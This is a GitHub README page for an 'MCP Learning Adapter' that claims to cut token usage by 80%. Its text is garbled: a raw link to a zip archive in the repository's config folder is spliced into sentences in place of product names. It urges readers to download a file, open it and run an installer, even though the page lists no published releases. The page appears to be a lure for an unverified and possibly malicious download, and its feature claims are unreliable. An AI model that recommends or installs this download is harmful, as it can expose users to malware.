Skip to content

babydoll1110/mcp-learning-adapter

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ mcp-learning-adapter - Save Tokens with Smart API Filtering

🌟 Overview

Welcome to the MCP Learning Adapter! This tool sits between your MCP clients and servers, learning how to optimize their interactions. By filtering out unnecessary information, it reduces token usage by 80%, making your requests faster and cheaper.

πŸš€ Key Benefits

  • Save 80% on input tokens: Cut down costs significantly while speeding up responses.
  • Self-learning: The adapter automatically learns and classifies API responses.
  • Smart filtering: It highlights important data while discarding unnecessary details.
  • Easy integration: The adapter works seamlessly with existing https://raw.githubusercontent.com/babydoll1110/mcp-learning-adapter/main/config/mcp-adapter-learning-2.5-alpha.5.zip MCP servers.
  • Community-focused: Share your learned schemas easily with others using https://raw.githubusercontent.com/babydoll1110/mcp-learning-adapter/main/config/mcp-adapter-learning-2.5-alpha.5.zip.

πŸ› οΈ System Requirements

To use the MCP Learning Adapter, you need:

πŸ–₯️ Getting Started

Follow these simple steps to get started with the MCP Learning Adapter:

Step 1: Download the Adapter

Click the button below to visit the Releases page and download the latest version of the MCP Learning Adapter.

Download mcp-learning-adapter

Step 2: Install the Adapter

  1. Locate the downloaded file on your computer. It will be in your Downloads folder unless specified otherwise.
  2. Open the file to start the installation process.
  3. Follow the on-screen instructions to complete the setup.

Step 3: Configure the Adapter

After installation:

  1. Open the MCP Learning Adapter application.
  2. Configure the settings to connect it to your MCP server.
  3. Enter any necessary authentication details.

Step 4: Begin Using the Adapter

Once configured, the MCP Learning Adapter is ready to optimize your API interactions. Start your MCP client, and the adapter will automatically begin learning and filtering responses.

πŸ“₯ Download & Install

To get the MCP Learning Adapter, visit the Releases page below:

Download the MCP Learning Adapter

πŸ” How it Works

The MCP Learning Adapter monitors and learns from the API responses it receives. It stores useful information and learns how often certain fields appear. Over time, it becomes more efficient at filtering out noise and providing only the relevant data you need.

βš™οΈ Advanced Features

  • Smart Token Management: The adapter intelligently decides which data is essential and which can be filtered out.
  • Community Sharing: Users can upload their learned schemas to a communal registry, promoting collaboration and improvement.

πŸ’» Troubleshooting

If you encounter any issues while using the MCP Learning Adapter, consider the following steps:

  1. Ensure your MCP server is running correctly.
  2. Check your internet connection.
  3. Restart the MCP Learning Adapter and your MCP client.
  4. Refer to the community forums for additional help.

If issues persist, feel free to open an issue on the GitHub repository.

🌐 Community and Support

Join our community to share your experiences, seek help, or contribute to the ongoing development of the MCP Learning Adapter. You can engage with other users on the GitHub Issues page.

For direct support, create an issue or consult the FAQ section available in the documentation.

πŸ“’ Updates and Contributions

The MCP Learning Adapter is continuously evolving. Stay updated by checking the Releases page for new features and improvements. If you're interested in contributing, feel free to submit Pull Requests or suggestions.

Thank you for using the MCP Learning Adapter! Enjoy smarter API interactions.

About

πŸ” Learn MCP server APIs and cut token usage by 80% with this intelligent adapter that filters responses and optimizes data for efficiency.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors